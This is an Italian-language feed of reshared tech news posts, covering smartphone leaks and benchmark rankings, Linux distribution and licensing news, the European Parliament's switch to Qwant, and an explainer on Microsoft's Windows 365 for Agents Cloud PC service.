Leggerezza, libertà e compatibilità Linux


Un altro punto di forza di LineageOS è la pulizia del sistema: si possono rimuovere app e servizi non necessari, e volendo si può utilizzare il dispositivo completamente senza i servizi Google. Per i modelli compatibili con Linux, come Thor, Odin 3 e alcune varianti di Odin 2, le prospettive sono ancora più interessanti: l’ambiente Linux può garantire prestazioni superiori per l’emulazione rispetto ad Android. In un mercato dove il supporto software è spesso limitato, la possibilità di prolungare la vita utile dei dispositivi tramite ROM personalizzate diventa sempre più preziosa.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Xiaomi 18 Pro Max: fotocamera da 200 megapixel sia principale che teleobiettivo, tutti i dettagli del leak


Arrivano nuove indiscrezioni sullo Xiaomi 18 Pro Max, il prossimo top di gamma del colosso cinese atteso per settembre 2026. Secondo un noto leaker, la fotocamera del dispositivo promette di stabilire un nuovo standard per l'intera categoria degli smartphone Android. Due sensori da 200 megapixel: principale e teleobiettivo Il dettaglio più sorprendente riguarda la configurazione fotografica: lo Xiaomi 18 Pro Max dovrebbe montare un sensore principale da 200 megapixel con dimensione di […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Arrivano nuove indiscrezioni sullo Xiaomi 18 Pro Max, il prossimo top di gamma del colosso cinese atteso per settembre 2026. Secondo un noto leaker, la fotocamera del dispositivo promette di stabilire un nuovo standard per l’intera categoria degli smartphone Android.

Due sensori da 200 megapixel: principale e teleobiettivo


Il dettaglio più sorprendente riguarda la configurazione fotografica: lo Xiaomi 18 Pro Max dovrebbe montare un sensore principale da 200 megapixel con dimensione di 1/1,28 pollici, accompagnato da un secondo sensore da 200 megapixel anche per il teleobiettivo. Quest’ultimo avrebbe dimensioni da 1/1,56 pollici, apertura F2.4 e una focale equivalente intorno alle 3x.

Entrambi i sensori adotterebbero la tecnologia LOFIC, pensata per catturare simultaneamente zone ad alta luminosità e zone in ombra, con vantaggi concreti nelle fotografie in controluce, notturne o in ambienti con forti contrasti.

Snapdragon 8 Elite Gen 6 Pro in esclusiva mondiale


Sul fronte delle prestazioni, Xiaomi punterebbe a essere il primo produttore al mondo ad adottare il chip Qualcomm Snapdragon 8 Elite Gen 6 Pro. Il display dovrebbe essere un grande pannello piatto da circa 6,9 pollici, mentre il comparto energetico si affida a una batteria da circa 8.500 mAh con ricarica cablata da 100W e wireless da 50W.

Display posteriore con funzioni AI e HyperOS 4


Lo schermo secondario sul retro, già presente nella generazione precedente, si evolverebbe in una vera “finestra intelligente” con funzionalità AI avanzate. Il software sarebbe HyperOS 4, basato su Android 17. Se queste indiscrezioni fossero confermate, lo Xiaomi 18 Pro Max si profilerebbe come uno degli smartphone più ambiziosi del 2026, con una proposta fotografica senza precedenti nel mondo Android.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

T2 Linux 26.6 “Mythos”: la distribuzione GNU/Linux basata su sorgenti si aggiorna


T2 Linux, conosciuta anche come T2 SDE, dove SDE significa System Development Environment (Ambiente di Sviluppo del Sistema), è una distribuzione GNU/Linux completamente libera e open source progettata per offrire un livello molto elevato...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

L’app My Pixel si aggiorna con una funzione di ricerca: trovare le funzioni del tuo Pixel sarà più facile


Google sta lavorando a una funzione di ricerca interna per l'app My Pixel, l'hub ufficiale pensato per aiutare gli utenti Pixel a scoprire e sfruttare al meglio le funzionalità del proprio smartphone. La novità emerge dall'analisi dell'APK versione 8.5.1, dove sono stati trovati riferimenti a questa funzione non ancora attiva. Cos'è My Pixel e perché la ricerca cambia tutto My Pixel è l'app ufficiale Google per i possessori di Pixel: raccoglie guide su funzioni come "Cerchia e cerca", […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google sta lavorando a una funzione di ricerca interna per l’app My Pixel, l’hub ufficiale pensato per aiutare gli utenti Pixel a scoprire e sfruttare al meglio le funzionalità del proprio smartphone. La novità emerge dall’analisi dell’APK versione 8.5.1, dove sono stati trovati riferimenti a questa funzione non ancora attiva.

Cos’è My Pixel e perché la ricerca cambia tutto


My Pixel è l’app ufficiale Google per i possessori di Pixel: raccoglie guide su funzioni come “Cerchia e cerca”, Google Wallet, le novità dei Pixel Drop e molto altro. Offre anche accesso al supporto e allo store ufficiale. Il problema attuale è che con la crescente quantità di contenuti, navigare tra le categorie per trovare un’informazione specifica può richiedere tempo e pazienza.

Cosa si potrà cercare


Dal codice è emersa la dicitura “Search in My Pixel” con esempi di query come “zoom 100x”, “personalizzare la schermata home”, “ottimizzare la durata della batteria” e “filtrare le chiamate indesiderate”. Questo suggerisce che la ricerca coprirà sia le guide d’uso che i prodotti nello store, rendendo My Pixel una vera knowledge base per chi vuole padroneggiare il proprio Pixel.

Quando arriverà?


Non ci sono ancora informazioni sulla data di rilascio ufficiale. Tuttavia, considerando che i Pixel diventano sempre più ricchi di funzionalità AI e che molti utenti faticano a tenersi aggiornati, la ricerca interna è un aggiornamento logico e atteso. Una volta disponibile, trasformerà My Pixel da semplice tutorial a strumento indispensabile per chi vuole sfruttare ogni potenzialità del proprio dispositivo.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

AnTuTu maggio 2026: RedMagic 11S Pro+ spodesta tutti, Snapdragon domina la classifica


AnTuTu ha pubblicato la classifica mensile dei benchmark Android per maggio 2026, e le sorprese non mancano. Il RedMagic 11S Pro+, gaming phone di punta, conquista il primo posto nella categoria flagship strappandolo all'iQOO 15 Ultra, mentre le sezioni sub-flagship e tablet confermano i leader del mese precedente. RedMagic 11S Pro+ in cima ai flagship Il protagonista assoluto di questa classifica è il RedMagic 11S Pro+, uscito a maggio, che con una media di oltre 4.171.000 punti ha […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

AnTuTu ha pubblicato la classifica mensile dei benchmark Android per maggio 2026, e le sorprese non mancano. Il RedMagic 11S Pro+, gaming phone di punta, conquista il primo posto nella categoria flagship strappandolo all’iQOO 15 Ultra, mentre le sezioni sub-flagship e tablet confermano i leader del mese precedente.

RedMagic 11S Pro+ in cima ai flagship


Il protagonista assoluto di questa classifica è il RedMagic 11S Pro+, uscito a maggio, che con una media di oltre 4.171.000 punti ha scalzato l’iQOO 15 Ultra dal trono. Il segreto del suo successo è la versione overclockata dello Snapdragon 8 Elite Gen5, che permette prestazioni al vertice assoluto dell’ecosistema Android attuale. La top 10 dei flagship è quasi interamente dominata da dispositivi con chip Qualcomm.

La top 10 dei flagship di maggio 2026


  • 1° RedMagic 11S Pro+ – 4.171.821 punti
  • 2° iQOO 15 Ultra – 4.144.802 punti
  • 3° vivo X300 Ultra (con connettività satellitare) – 4.103.004 punti
  • 4° iQOO 15 – 4.050.238 punti
  • 5° RedMagic 11 Pro+ – 3.995.210 punti
  • 6° realme GT8 Pro – 3.970.960 punti
  • 7° OPPO Find X9 Ultra – 3.896.281 punti
  • 8° Honor WIN – 3.861.113 punti
  • 9° iQOO 15T – 3.802.891 punti
  • 10° Honor Magic8 Pro – 3.792.835 punti


Sub-flagship: iQOO Z11 imbattibile


Nella fascia sub-flagship, l’iQOO Z11 mantiene la leadership per il secondo mese consecutivo con 2.336.947 punti medi, grazie al Dimensity 8500 Full-Blooded Version. Nuovi ingressi in top 3 per l’Honor 600 Pro (2°) e l’Honor WIN Turbo (3°), mentre OPPO, REDMI e realme presidiano stabilmente le posizioni successive.

Tablet: vivo Pad 6 Pro in testa, OnePlus debutta in top 5


Per quanto riguarda i tablet Android, il vivo Pad 6 Pro si conferma al primo posto con l’iQOO Pad 6 Pro a tallonarlo al secondo. Debutto nella top 5 per l’OnePlus Pad 3 Pro. Il dominio del Snapdragon nella categoria flagship è la tendenza più evidente di questo maggio 2026: la sfida MediaTek sembra concentrarsi per ora nelle fasce medie.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

OnePlus Turbo 6X e 6X Pro ufficiali: batterie da 7000 e 8000 mAh per la lunga autonomia


Sono emersi i dettagli completi dei nuovi OnePlus Turbo 6X e Turbo 6X Pro, due smartphone di fascia media che puntano tutto sull'autonomia. Le specifiche, confermate da Google Play Console e dall'ente certificativo cinese TENAA, rivelano batterie da record per la categoria e hardware generoso. OnePlus Turbo 6X: 7000 mAh con Dimensity 7400 Il modello base monta un display LCD da 6,72 pollici Full HD+ con refresh rate fino a 144Hz. Il processore è il MediaTek Dimensity 7400, affiancato da […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Sono emersi i dettagli completi dei nuovi OnePlus Turbo 6X e Turbo 6X Pro, due smartphone di fascia media che puntano tutto sull’autonomia. Le specifiche, confermate da Google Play Console e dall’ente certificativo cinese TENAA, rivelano batterie da record per la categoria e hardware generoso.

OnePlus Turbo 6X: 7000 mAh con Dimensity 7400


Il modello base monta un display LCD da 6,72 pollici Full HD+ con refresh rate fino a 144Hz. Il processore è il MediaTek Dimensity 7400, affiancato da configurazioni RAM fino a 12 GB e storage fino a 512 GB. La vera stella è però la batteria da 7000 mAh, che promette giornate di utilizzo senza pensieri. La fotocamera principale sul retro è da 50 megapixel, mentre il sensore frontale si attesta a 8 megapixel. Il lettore di impronte è laterale.

OnePlus Turbo 6X Pro: AMOLED e batteria da 8000 mAh


Il Pro sale di livello con un pannello AMOLED da 6,78 pollici di risoluzione 1.5K e un chip Snapdragon 7s Gen 4. La RAM arriva fino a 16 GB e lo storage tocca 1 TB. La batteria da 8000 mAh è tra le più capienti mai viste su uno smartphone mid-range, posizionando questo modello come riferimento per chi non vuole preoccuparsi dei caricabatterie. Il comparto fotocamere prevede un sensore principale da 50 MP più un grandangolo da 8 MP; selfie da 16 MP con sensore fingerprint in-display.

Probabili varianti dei Nord CE6


Secondo le indiscrezioni, i Turbo 6X sarebbero versioni rielaborate dei Nord CE6 Lite e Nord CE6 destinati ai mercati internazionali, con alcune differenze nelle fotocamere. In Cina debutteranno con ColorOS 16 basato su Android 16. Il lancio ufficiale è atteso a breve e potrebbe portare con sé anche il prezzo, ancora sconosciuto.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

AMD rivede la licenza del suo software Vivado: gratuito per Windows, ma non per Linux!


Nuove vette per la discriminazione degli utenti Linux. Se infatti eravamo abituati alla poca considerazione, cosa dire di questa nuova frontiera in cui, apparentemente, gli utenti sono talmente pochi (il 30%) che se vogliono la versione Basic del software la devono pagare...
Un vero inedito!

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Galaxy S27 Ultra: batteria quasi da 6.000 mAh, Snapdragon 8 Elite Gen 6 Pro e fotocamere ridisegnate


Il Galaxy S27 Ultra potrebbe segnare una svolta per la serie: secondo il leaker Debayan Roy, Samsung sarebbe pronta ad abbandonare la soglia dei 5.000 mAh che caratterizza gli S Ultra dal Galaxy S20 Ultra. Il prossimo flagship punterebbe su una batteria "inferiore ai 6.000 mAh ma significativamente più grande", con chip di nuova generazione a 2 nm e un design delle fotocamere completamente rivisto. Batteria quasi da 6.000 mAh e supporto Qi2 Con l'arrivo di batterie da 6.000-7.000 mAh sui […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il Galaxy S27 Ultra potrebbe segnare una svolta per la serie: secondo il leaker Debayan Roy, Samsung sarebbe pronta ad abbandonare la soglia dei 5.000 mAh che caratterizza gli S Ultra dal Galaxy S20 Ultra. Il prossimo flagship punterebbe su una batteria “inferiore ai 6.000 mAh ma significativamente più grande”, con chip di nuova generazione a 2 nm e un design delle fotocamere completamente rivisto.

Batteria quasi da 6.000 mAh e supporto Qi2


Con l’arrivo di batterie da 6.000-7.000 mAh sui flagship cinesi, la pressione su Samsung è aumentata notevolmente. Galaxy S27 Ultra dovrebbe rispondere con una batteria vicina ai 6.000 mAh, abbinata al supporto Qi2 per la ricarica wireless con accessori magnetici — aprendo l’ecosistema Samsung a caricatori e accessori compatibili con questo standard.

Snapdragon 8 Elite Gen 6 Pro e LPDDR6


Sul fronte prestazionale è atteso lo Snapdragon 8 Elite Gen 6 Pro a 2 nm, accompagnato dalla nuova memoria LPDDR6, più veloce ed efficiente. Una combinazione che promette un salto generazionale nell’elaborazione AI e nel multitasking.

Tre fotocamere e layout rinnovato


Il sistema fotografico verrebbe ridotto da quattro a tre obiettivi: sensore HP6 da 200 MP, ultra-grandangolare da 50 MP e teleobiettivo periscopico 5x da 50 MP (il 3x verrebbe eliminato). Samsung starebbe valutando di disporre le fotocamere in orizzontale, abbandonando la storica configurazione verticale degli S Ultra.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

OPPO Reno 16 Pro globale: chip ridimensionato rispetto alla versione cinese, ma fotocamera da 200 MP confermata


Dopo il lancio in Cina, il OPPO Reno 16 si prepara a sbarcare sui mercati internazionali — ma non con le stesse specifiche. Secondo il leaker Sudhanshu, la versione globale del Reno 16 Pro monterebbe un chip meno potente e una batteria leggermente ridotta rispetto al modello cinese. Reno 16 Pro: cosa cambia nel modello globale La versione cinese di Reno 16 Pro è dotata di Dimensity 9500s e 7.000 mAh di batteria. Il modello globale scenderebbe su Dimensity 8550 e batteria da 6.700 mAh. […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Dopo il lancio in Cina, il OPPO Reno 16 si prepara a sbarcare sui mercati internazionali — ma non con le stesse specifiche. Secondo il leaker Sudhanshu, la versione globale del Reno 16 Pro monterebbe un chip meno potente e una batteria leggermente ridotta rispetto al modello cinese.

Reno 16 Pro: cosa cambia nel modello globale


La versione cinese di Reno 16 Pro è dotata di Dimensity 9500s e 7.000 mAh di batteria. Il modello globale scenderebbe su Dimensity 8550 e batteria da 6.700 mAh. Resterebbero invariati il sensore principale da 200 megapixel e il display OLED da 6,32 pollici a 144 Hz. Tutti i modelli avranno certificazione IP69 e Android 16 preinstallato.

Reno 16, Reno 16 FS e lancio a luglio in India


Il Reno 16 standard globale punta su Snapdragon 7 Gen 4, display 6,32 pollici 120 Hz, fotocamera da 50 MP e batteria da 6.000 mAh. Il nuovo Reno 16 FS — modello entry-level della serie — porta Dimensity 7300, schermo da 6,57 pollici 120 Hz e batteria da 6.500 mAh. Il lancio è previsto in India a luglio, con arrivo in Europa a seguire.

Attenzione alle versioni regionali


Chi valuta l’acquisto del Reno 16 Pro è bene che verifichi le specifiche della versione disponibile nel proprio paese: le differenze rispetto al modello cinese — soprattutto sul chip — potrebbero influire sensibilmente sulla valutazione complessiva del dispositivo.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Galaxy Z Fold 8 Wide: tutte le specifiche in leak — 201g, 4.800 mAh, piega quasi invisibile e display 7.8 pollici


Un leak dettagliato rivela le specifiche complete della versione "Wide" del Galaxy Z Fold 8, il pieghevole Samsung con proporzioni più simili a uno smartphone tradizionale quando chiuso. Le notizie sono positive: peso contenuto, batteria più grande, display con piega migliorata e fotocamera rinnovata. Specifiche principali Display esterno: 5,4 polliciDisplay interno: 7,8 pollici, formato 4:3Peso: 201 grammi (da 215g del Fold 7, un calo di 14g)Batteria: 4.800 mAh con ricarica a 45WSpessore […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Un leak dettagliato rivela le specifiche complete della versione “Wide” del Galaxy Z Fold 8, il pieghevole Samsung con proporzioni più simili a uno smartphone tradizionale quando chiuso. Le notizie sono positive: peso contenuto, batteria più grande, display con piega migliorata e fotocamera rinnovata.

Specifiche principali


  • Display esterno: 5,4 pollici
  • Display interno: 7,8 pollici, formato 4:3
  • Peso: 201 grammi (da 215g del Fold 7, un calo di 14g)
  • Batteria: 4.800 mAh con ricarica a 45W
  • Spessore aperto: 4,5 mm
  • Fotocamera: sensore da 50 MP + ultra-grandangolare 50 MP


La piega centrale quasi scompare


Uno degli aspetti più attesi è il miglioramento della piega del display, da sempre il tallone d’Achille dei pieghevoli Galaxy. Secondo il leaker, il livello di visibilità della cerniera sarà paragonabile — o addirittura migliore — rispetto a OPPO Find N6, attualmente il riferimento del settore. Se confermato, sarebbe un passo avanti enorme per Samsung.

Design e mock-up già in circolazione


Insieme alle specifiche sono trapelati anche dei mock-up del design che mostrano il Fold 8 Wide accanto al Fold 8 Ultra, permettendo di apprezzare le differenze di proporzione tra i due modelli. La presentazione ufficiale è attesa a luglio con Galaxy Unpacked.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Il Parlamento Europeo sceglie Qwant al posto di Google


Il Parlamento Europeo sostituirà Google come il motore di ricerca predefinito sui suoi computer con Microsoft Edge e Mozilla Firefox in favore di Qwant, i motore di ricerca francese fornito dalla omonima società. Il passaggio avverrà da oggi, 4 giugno 2026. La decisione è stata presa «in linea con l’impegno del Parlamento per la sovranità […]
L'articolo Il Parlamento Europeo sceg...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Motorola moto g66y 5G: riprende il rilascio di Android 16 con correzioni ai bug di ricarica


Gli utenti del Motorola moto g66y 5G possono finalmente aggiornare il loro smartphone ad Android 16: il rilascio, interrotto a maggio dopo la rilevazione di anomalie, è stato ripreso. Contestualmente, chi aveva già installato Android 16 riceve una patch correttiva dedicata. Perché l'aggiornamento era stato sospeso? L'update ad Android 16 per moto g66y 5G era iniziato ad aprile 2026, ma era stato bloccato a maggio. La causa probabile erano i problemi di connettività eSIM segnalati sul […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Gli utenti del Motorola moto g66y 5G possono finalmente aggiornare il loro smartphone ad Android 16: il rilascio, interrotto a maggio dopo la rilevazione di anomalie, è stato ripreso. Contestualmente, chi aveva già installato Android 16 riceve una patch correttiva dedicata.

Perché l’aggiornamento era stato sospeso?


L’update ad Android 16 per moto g66y 5G era iniziato ad aprile 2026, ma era stato bloccato a maggio. La causa probabile erano i problemi di connettività eSIM segnalati sul modello gemello moto g66j 5G: utenti con eSIM dati di alcuni operatori riferivano perdite di connessione e instabilità di rete dopo l’aggiornamento. Poiché moto g66y 5G si basa sulla stessa piattaforma hardware, è plausibile che la sospensione fosse legata alla stessa vulnerabilità.

Cosa include il nuovo aggiornamento


Per i dispositivi ancora su Android 15, l’update porta il sistema ad Android 16 con miglioramenti alla stabilità e aggiornamenti di sicurezza. Per chi era già su Android 16, viene distribuita una patch separata (build W1VOJ36.88-71-2-3) che risolve un problema di ricarica — il caricabatterie non veniva riconosciuto in alcuni casi — e migliora la sicurezza generale. Se anche i problemi eSIM siano stati risolti non è ancora confermato, ma lo sarà presto dai feedback della community.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Windows 365 for Agents: Cloud PC per l’automazione AI in azienda


Microsoft introduce Windows 365 for Agents in public preview: Cloud PC condivisi per agenti AI, con pool, check-out/check-in, identità Entra dedicata e fatturazione a consumo.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Cosa sono i Windows 365 for Agents?


Microsoft ha annunciato in public preview Windows 365 for Agents, una nuova offerta che estende la piattaforma Cloud PC per supportare l’automazione basata su agenti AI. L’idea di fondo è semplice ma potente: invece di assegnare un Cloud PC a un utente umano, lo si mette a disposizione di un agente AI che ne ha bisogno per completare un’attività che richiede l’interazione con un’interfaccia grafica — un browser, un’applicazione legacy, un portale web senza API.

Il servizio è attualmente disponibile in anteprima pubblica esclusivamente negli Stati Uniti, quindi prima di pianificare un’implementazione conviene verificare la disponibilità del tenant.

Perché un Cloud PC per un agente AI?


La domanda legittima è: perché un agente AI dovrebbe aver bisogno di un Cloud PC? Molti workflow di automazione si completano già tramite API, connettori o strumenti MCP. Ma esistono scenari reali in cui questo non è possibile:

  • Applicazioni legacy che non espongono API
  • Portali web che richiedono interazione manuale con elementi UI
  • Processi che dipendono da software desktop non modernizzato
  • Task che richiedono la gestione di file locali tramite interfaccia grafica

In questi casi, l’agente ha bisogno di un ambiente desktop reale su cui operare — e Windows 365 for Agents fornisce esattamente questo, con un modello di sicurezza, identità e governance pensato per le organizzazioni enterprise.

Architettura: pool e check-out/check-in


Il meccanismo centrale è il Cloud PC agent pool: un insieme condiviso di Cloud PC pre-provisionati con proprietà comuni (piano di billing, regione geografica, numero di istanze, immagine). Gli agenti non hanno un Cloud PC dedicato — usano un modello di check-out/check-in:

  1. L’agente prenota un Cloud PC disponibile nel pool
  2. Esegue il proprio task
  3. Restituisce il Cloud PC al pool
  4. Il Cloud PC viene resettato prima del riutilizzo

Microsoft descrive quattro piani operativi per l’architettura degli agenti:

  • Computer-Create: provisioning e manutenzione dei pool
  • Computer-Get: prenotazione e rilascio dei Cloud PC
  • Computer-Do: invio di azioni (click, digitazione, ecc.)
  • Computer-See / Computer-TakeControl: osservazione e controllo manuale da parte di un operatore umano

La superficie di controllo in-session usa il Model Context Protocol (MCP), lo stesso protocollo che permette agli agenti AI di scoprire e chiamare strumenti esterni in modo standardizzato.

Modello di sicurezza e identità


I Cloud PC for Agents sono Microsoft Entra-joined e Intune-enrolled. Ogni agente opera con una propria identità dedicata in Microsoft Entra — non viene riutilizzata o impersonata l’identità di un utente umano. Questo è un punto importante per la governance: ogni azione dell’agente è tracciabile e attribuibile a un’identità specifica.

Il supporto attuale alle Conditional Access per le identità agente include il controllo Block access, ma Microsoft chiarisce che non è ancora un sostituto completo per tutti i pattern di Conditional Access usati con gli utenti umani. Da tenere in considerazione prima di portare in produzione scenari critici.

Come configurare Windows 365 for Agents


Il processo di configurazione richiede alcuni prerequisiti:

  • Una licenza Windows 365 o Agent 365 nel tenant
  • Un piano di billing Windows 365 for Agents attivo
  • Opzionalmente, utenti agente in Agent 365


Passo 1: creare la Billing Policy


Nel Microsoft 365 admin center, andare su Billing & usage → Billing policies. Selezionare una sottoscrizione Azure, un resource group e una regione, quindi abilitare Windows 365 for Agents sotto Pay-as-you-go services.

Passo 2: creare la Provisioning Policy per agenti


Nel Microsoft Intune admin center, navigare su Devices → Provision Cloud PCs → Provisioning policies (Agents) → Create policy. La procedura guidata richiede:

  • Nome della policy
  • Piano di billing
  • Numero di Cloud PC always-available (da 1 a 200)
  • Area geografica
  • Agenti assegnati
  • Immagine e impostazioni di lingua

Nota: i gruppi utente non sono attualmente supportati per l’assegnazione degli agenti. Il provisioning richiede circa 20-30 minuti.

Monitoraggio e costi


I Cloud PC for Agents sono visibili in Intune admin center sotto Devices → All devices. Si riconoscono dal prefisso CPCA- nel nome, dal modello Cloud PC for Agents e dal profilo di enrollment che riporta il nome della provisioning policy.

Per monitorare la capacità del pool: Devices → Provision Cloud PCs → Provisioning policies (Agents), selezionare una policy e verificare le sessioni attive e disponibili.

Sul fronte dei costi (area US):

  • Pay-as-you-go: $0,40 per ora (arrotondato all’ora intera successiva)
  • Always-available Cloud PC: $5 per Cloud PC al mese, in aggiunta al billing a consumo

I costi sono tracciabili in Azure Cost Management filtrando per il tag Windows365foragents.

Quando usarlo — e quando no


Windows 365 for Agents è utile principalmente quando un agente deve interagire con un’interfaccia utente: workflow basati su browser, applicazioni legacy senza API affidabili, o software desktop non modernizzato. Se invece il workflow può essere completato tramite API o connettori, Microsoft stesso raccomanda di usare Agent 365 direttamente, senza passare per Windows 365 for Agents.

Dato che la documentazione operativa è ancora limitata — soprattutto sui dettagli di troubleshooting avanzato — Microsoft consiglia di trattare le prime implementazioni come controlled pilot piuttosto che come rollout di produzione su larga scala.

Conclusione


Windows 365 for Agents rappresenta un’evoluzione logica della piattaforma Cloud PC verso il mondo dell’automazione agentiva. Per gli amministratori IT che gestiscono ambienti ibridi con applicazioni legacy, offre un percorso strutturato per integrare agenti AI senza sacrificare la governance di identità e sicurezza. Vale la pena monitorarne l’evoluzione, in particolare quando la preview si estenderà alle region europee.

Fonte: Windows 365 for Agents: Cloud PCs for AI automation — 4sysops

Dario Fadda reshared this.